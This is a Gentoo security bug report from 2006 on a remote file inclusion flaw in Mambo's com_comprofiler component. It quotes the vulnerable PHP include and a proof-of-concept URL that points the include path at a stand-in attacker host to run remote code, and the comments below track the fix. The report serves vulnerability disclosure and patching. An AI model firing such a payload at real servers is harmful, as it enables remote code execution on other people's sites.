Bug 145518 – www-apps/mambo com_comprofiler Components file inclusion?

• Status: RESOLVED FIXED
• Product: Gentoo Security

[Description Sune Kloppenborg Jeppesen (RETIRED) 2006-08-29 12:30:24 UTC]

Vulnerability:
 
 ~~~~~~~~~~~~~~~
 
 in folder com_comprofiler we found vulnerability script plugin.class.php
 
 -----------------------plugin.class.php----------------------
 
 <?php
 
 /**
 
 * Plugin handler
 
 * @package Joomla
 
 * @author various, JoomlaJoe and Beat
 
 */
 
 require_once( $mosConfig_absolute_path . '/includes/domit/xml_domit_lite_include.php' );
 
 ----------------------------------------------------------
 
 Variables $mosConfig_absolute_path are not properly sanitized.
 
 Proof Of Concept:
 
 ~~~~~~~~~~~~~~~~
 
 http://[target]/[path]/administrator/components/com_comprofiler/plugin.c
 lass.php?mosConfig_absolute_path= http://attacker.com/evil.txt?
 
 Solution:
 
 ~~~~~~~~
 
 sanitize variabel $mosConfig_absolute_path in plugin.class.php

[Comment 1 Thierry Carrez (RETIRED) 2006-09-02 01:51:16 UTC]

Bump to Joomla 1.0.11 and future Mambo 4.6 Release is required.

[Comment 2 Renat Lumpau (RETIRED) 2006-09-02 11:51:14 UTC]

joomla done. why are there 3 bugs for the same issue?

[Comment 3 Sune Kloppenborg Jeppesen (RETIRED) 2006-09-03 09:54:43 UTC]

Removing Joomla from Summary as it is handled on bug #145481.

[Comment 4 Renat Lumpau (RETIRED) 2006-09-11 20:50:50 UTC]

-r2 in CVS

[Comment 5 Matthias Geerdsen (RETIRED) 2006-09-12 01:14:51 UTC]

closing without GLSA (~arch)

thanks Renat